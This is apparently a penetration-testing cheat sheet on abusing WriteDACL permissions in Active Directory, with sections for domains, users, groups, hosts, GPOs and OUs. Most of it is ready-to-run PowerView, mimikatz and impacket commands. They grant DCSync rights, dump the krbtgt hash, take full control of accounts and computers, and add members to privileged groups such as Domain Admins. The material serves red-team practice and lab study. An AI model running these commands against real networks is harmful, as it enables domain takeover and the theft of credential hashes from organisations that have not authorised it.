WriteDACL

With WriteDACL rights over an object, we can grant ourselves any privilege we want.

Over a Domain

This can be leveraged to perform a DCSync attack.

Windows

# PowerView
Add-DomainObjectAcl -TargetIdentity $(Get-DomainSID) -PrincipalIdentity x7331 -Rights DCSync

# DCSync
mimikatz.exe "lsadump::dcsync /domain:marvel.local /user:krbtgt /csv"

Linux

# Assigning FullControl permissions over the user
impacket-dacledit -action write -rights DCSync -principal x7331 -target-dn dc=marvel,dc=local -dc-ip 10.10.10.5 marvel.local/x7331:'Passw0rd123!'

# DCSync
secretsdump.py -just-dc-user krbtgt marvel.local/x7331:'Passw0rd123!'@10.10.10.5

Over a User

Grant yourself FullControl of the user.

Windows

# Assigning GenericAll permissions over the user (PowerView)
Add-DomainObjectAcl -TargetIdentity bob -Rights All

Linux

# Assigning FullControl permissions over the user
impacket-dacledit -action write -rights FullControl -principal x7331 -target bob marvel.local/x7331:'Passw0rd123!'

Over a Group

This can be leveraged to add members to the group.

Windows

# Powerview
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights WriteMembers

Linux

# Assigning Write permissions over the group
impacket-dacledit -action write -principal x7331 -target "TargetGroup" marvel.local/x7331:'Passw0rd123!' -dc-ip 10.10.10.5

# Add user to the group
python3 addusertogroup.py -d marvel.local -g "TargetGroup" -a x7331 -u x7331 -p 'Passw0rd123!'

# Revert change
impacket-dacledit -principal x7331 -target "TargetGroup" -dc-ip 10.10.10.5 marvel.local/x7331:'Passw0rd123!' -action restore -file dacledit-20230524-211441.bak

Over a Host

Grants FullControl of the computer. This can be leveraged to read the LAPS password or perform RBCD against the target host.

Windows

# Assigning GenericAll permissions over the computer
Add-DomainObjectAcl -TargetIdentity windows01 -Rights All

Over a GPO

Grants FullControl of the GPO. This can be leveraged to edit the GPO and take over an object the GPO applies to.

Windows

Add-DomainObjectAcl -TargetIdentity TestGPO -Rights All

Over an OU

Grants FullControl of the OU. This can be leveraged to add a new ACE to the OU that inherits down to child objects so we can then take over those child objects.

Windows

Add-DomainObjectAcl -TargetIdentity <OU-GUID> -Rights All